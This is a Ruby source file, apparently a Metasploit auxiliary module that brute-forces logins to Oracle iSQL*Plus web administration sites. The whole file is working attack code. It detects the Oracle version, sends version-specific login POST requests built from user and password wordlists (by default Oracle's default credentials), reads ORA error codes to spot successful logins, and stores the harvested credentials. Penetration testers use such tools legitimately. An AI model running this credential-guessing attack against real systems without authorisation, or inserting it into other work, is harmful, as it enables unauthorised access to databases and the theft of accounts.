modules/auxiliary/scanner/oracle/isqlplus_login.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::AuthBrute
def initialize
super(
'Name' => 'Oracle iSQL*Plus Login Utility',
'Description' => %q{
This module attempts to authenticate against an Oracle ISQL*Plus
administration web site using username and password combinations indicated
by the USER_FILE, PASS_FILE, and USERPASS_FILE.
This module does not require a valid SID, but if one is defined, it will be used.
Works against Oracle 9.2, 10.1 & 10.2 iSQL*Plus. This module will attempt to
fingerprint the version and automatically select the correct POST request.
},
'References' =>
[
[ 'URL', 'https://blog.carnal0wnage.com/' ],
],
'Author' => [ 'CG', 'todb' ],
'License' => MSF_LICENSE
)
deregister_options('BLANK_PASSWORDS') # Blank passwords are never valid
register_options([
Opt::RPORT(5560),
OptString.new('URI', [ true, 'Oracle iSQLPlus path.', '/isqlplus/']),
OptString.new('SID', [ false, 'Oracle SID' ]),
OptInt.new('TIMEOUT', [false, 'Time to wait for HTTP responses', 60]),
OptPath.new('USERPASS_FILE', [ false, "File containing users and passwords separated by space, one pair per line",
File.join(Msf::Config.data_directory, "wordlists", "oracle_default_userpass.txt") ]),
OptBool.new('USER_AS_PASS', [ false, "Try the username as the password for all users", false]),
])
end
def verbose
datastore['VERBOSE']
end
def uri
datastore['URI'].to_s
end
def timeout
(datastore['TIMEOUT'] || 60).to_i
end
def prefix
datastore['SSL'] ? "https" : "http"
end
def msg
"#{prefix}://#{rhost}:#{rport}/#{datastore['URI'].gsub(/^\/+/,"")} -"
end
def get_oracle_version(ip)
begin
res = send_request_cgi({
'version' => '1.1',
'uri' => uri,
'method' => 'GET',
}, timeout)
oracle_ver = nil
if (res.nil?)
print_error("#{msg} no response")
elsif (res.code == 200)
print_status("#{msg} Received an HTTP #{res.code}")
oracle_ver = detect_oracle_version(res)
elsif (res.code == 404)
print_error("#{msg} Received an HTTP 404, check URIPATH")
elsif (res.code == 302)
print_error("#{msg} Received an HTTP 302 to #{res.headers['Location']}")
else
print_error("#{msg} Received an HTTP #{res.code}")
end
return oracle_ver
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
print_error "#{msg} Cannot connect"
end
end
def detect_oracle_version(res)
m = res.body.match(/iSQL\*Plus Release (9\.0|9\.1|9\.2|10\.1|10\.2)/)
oracle_ver = nil
oracle_ver = 10 if m[1] && m[1] =~ /10/
oracle_ver = m[1].to_f if m[1] && m[1] =~ /9\.[012]/
if oracle_ver
print_status("#{msg} Detected Oracle version #{oracle_ver}")
print_status("#{msg} SID detection for iSQL*Plus 10.1 may be unreliable") if oracle_ver == 10.1
else
print_error("#{msg} Unknown Oracle version detected.")
end
return oracle_ver
end
def check_oracle_version(ver)
[9.0,9.1,9.2,10].include? ver
end
def run_host(ip)
datastore['BLANK_PASSWORDS'] = false # Always
ver = get_oracle_version(ip)
if not check_oracle_version(ver)
print_error "#{msg} Unknown Oracle version, skipping."
return
end
if datastore['SID'].nil? || datastore['SID'].empty?
print_status "Using blank SID for authentication."
end
each_user_pass do |user, pass|
# Blank passwords aren't allowed
if pass.nil? || pass.empty?
print_status "Skipping blank password for #{user}"
else
do_login(user, pass, ver)
end
end
end
def sid
if datastore['SID'].nil? || datastore['SID'].empty?
nil
else
datastore['SID']
end
end
def do_login(user='DBSNMP', pass='DBSNMP', version=9.0)
uri = datastore['URI']
vprint_status("#{msg} Trying username:'#{user}' with password:'#{pass}' with SID '#{sid}'")
success = false
if version == 9.0
postrequest = "action=logon&sqlcmd=&sqlparms=&username=#{user}&password=#{pass}&sid=#{sid}&privilege=&Log+In=%B5%C7%C2%BC"
elsif (version == 9.1 || version == 9.2)
postrequest = "action=logon&username=#{user}&password=#{pass}&sid=#{sid}&login=Login"
elsif (version == 10)
postrequest = "username=#{user}&password=#{pass}&connectID=#{sid}&report=&script=&dynamic=&type=&action=&variables=&event=login"
end
begin
res = send_request_cgi({
'version' => '1.1',
'uri' => uri,
'method' => 'POST',
'data' => postrequest,
'headers' => { 'Referer' => "http://#{rhost}:#{rport}#{uri}" }
}, timeout)
unless (res.kind_of? Rex::Proto::Http::Response)
vprint_error("#{msg} Not responding")
return :abort
end
return :abort if (res.code == 404)
if res.code == 200
# English, German, and Danish.
if (res.body =~ /Connected as/ or res.body =~ /Angemeldet als/ or res.body =~ /Arbejdssk/)
success = true
elsif (res.body =~ /ORA-01017:/ or res.body =~ /ORA-28273:/)
#print_error("received ORA-01017 -- incorrect credentials")
success = false
elsif (res.body =~ /ORA-28009:/ )
print_good("#{user}:#{pass} is correct but required SYSDBA or SYSOPER login")
success = true
elsif (res.body =~ /ORA-28000:/ )#locked account
success = false
elsif (res.body =~ /ORA-12170:/ or res.body =~ /ORA-12154:/ or res.body =~ /ORA-12162:/ or res.body =~ /ORA-12560:/)
print_status("Incorrect SID -- please set a correct (or blank) SID")
return :abort
elsif
print_error("Unknown response, assuming failed. (Supported languages are English, German, and Danish)")
success = false
end
elsif res.code == 302
print_status("received a 302 to #{res.headers['Location']}")
return :abort
else
print_status("Unexpected Response of: #{res.code}")#''
return :abort
end
rescue ::Rex::ConnectionError => e
vprint_error("#{msg} - #{e}")
return :abort
end
if success
print_good("#{msg} successful login '#{user}' : '#{pass}' for SID '#{sid}'")
report_isqlplus_service(target_host,res)
report_oracle_sid(target_host,sid)
report_isqlauth_info(target_host,user,pass,sid)
return :next_user
else
vprint_error "#{msg} username and password failed"
return :failed
end
end
def report_isqlplus_service(ip,res)
sname = datastore['SSL'] ? 'https' : 'http'
report_service(
:host => ip,
:proto => 'tcp',
:port => rport,
:name => sname,
:info => res.headers["Server"].to_s.strip
)
end
def report_oracle_sid(ip,sid)
report_note(
:host => ip,
:proto => 'tcp',
:port => rport,
:type => "oracle.sid",
:data => ((sid.nil? || sid.empty?) ? "*BLANK*" : sid),
:update => :unique_data
)
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def report_isqlauth_info(ip,user,pass,sid)
ora_info = {
ip: ip,
port: rport,
password: pass,
proof: sid.inspect,
service_name: 'tcp'
}
if sid.nil? || sid.empty?
ora_info.merge! :user => user
else
ora_info.merge! :user => "#{sid}/#{user}"
end
report_cred(ora_info)
end
end